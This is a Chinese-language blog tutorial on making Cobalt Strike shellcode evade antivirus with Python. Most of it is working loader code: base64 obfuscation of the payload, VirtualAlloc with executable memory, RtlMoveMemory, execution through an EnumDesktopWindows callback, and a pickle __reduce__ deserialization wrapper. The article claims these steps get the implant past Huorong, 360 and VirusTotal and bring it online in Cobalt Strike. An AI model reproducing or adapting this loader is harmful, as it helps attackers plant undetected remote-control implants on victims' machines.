python如何通过对cs生成的shellcode进行处理从而简单的绕过免杀,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
如何通过对cs生成的shellcode进行处理,从而简单的绕过免杀。
代码如下
取出shellcode内容
先对cs生成的payload.py进行处理,提取出相关的shellcode代码
shellcode = open('payload.py') shellcode = shellcode.read() # 取出shellcode内容 s1 = shellcode.find("/"")+1 s2 = shellcode.rfind("/"") shellcode = shellcode[s1:s2]
base64加密
对shellcode进行base64加密进行混淆
shellcode = str(base64.b64encode(shellcode.encode('UTF-8')), 'UTF-8')
构造shellcode加载器
对shellcode进行base64解密
shellcode = base64.b64decode(shellcode) shellcode = codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode)
设置VirtualAlloc返回类型为ctypes.c_unit64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
调用VirtualAlloc函数,来申请一块动态内存区域
VirtualAlloc函数原型和参数如下: LPVOID VirtualAlloc{ LPVOID lpAddress, #要分配的内存区域的地址 DWORD dwSize, #分配的大小 DWORD flAllocationType, #分配的类型 DWORD flProtect #该内存的初始保护属性 };
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
将shellcode载入内存
从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) )
回调函数注入shellcode
回调函数是一个被作为参数传递的函数
机制
⑴定义一个回调函数;
⑵提供函数实现的一方在初始化的时候,将回调函数的函数指针注册给调用者;
⑶当特定的事件或条件发生的时候,调用者使用函数指针调用回调函数对事件进行处理。
当我们向需要回调函数的参数传递一个函数指针时,一旦函数指针被用来调用这个函数,它指向的是回调被执行了。这可以被滥用来注入 shellcode 而不是函数指针。
windows下可以利用的回调函数有很多,本文用的是EnumDesktopWindows这个函数
EnumDesktopWindows 枚举与指定桌面关联的所有顶级窗口,然后将每个窗口句柄传递给给应用程序定义的回调函数。
BOOL EnumDesktopWindows( HDESK hDesktop, WNDENUMPROC lpfn, LPARAM lParam); 参数 hDesktop 要枚举其顶级窗口的桌面的句柄。该句柄由 CreateDesktop, GetThreadDesktop,OpenDesktop或 OpenInputDesktop函数返回,并且必须具有DESKTOP_READOBJECTS访问权限。如果此参数为NULL,则使用当前桌面。 lpfn 指向应用程序定义的EnumWindowsProc回调函数的指针 。 lParam 应用程序自定义的值,将传递给回调函数。
第二个参数是回调函数的指针,这样就可以传递与位置无关的 shellcode。
反序列化加载
先对loader进行序列化,在对序列化的代码进行base64加密
class A(object): def __reduce__(self): return (exec, (code,)) ret = pickle.dumps(A()) ret_base64 = base64.b64encode(ret)
最后反序列化加载loader
strinq=b'cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoY29kZSkp' eval(str(base64.b64decode(strinq),'utf-8'))
通过__reduce__这个魔术方法执行了loader
def __reduce__(self): return (exec, (code,))
就可以成功绕过杀软,上线cs了
通过pyinstaller生成exe,进行测试
火绒
360杀毒
360安全卫士
vt查杀
关于python如何通过对cs生成的shellcode进行处理从而简单的绕过免杀问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。
原创文章,作者:1402239773,如若转载,请注明出处:https://blog.ytso.com/tech/safety/228620.html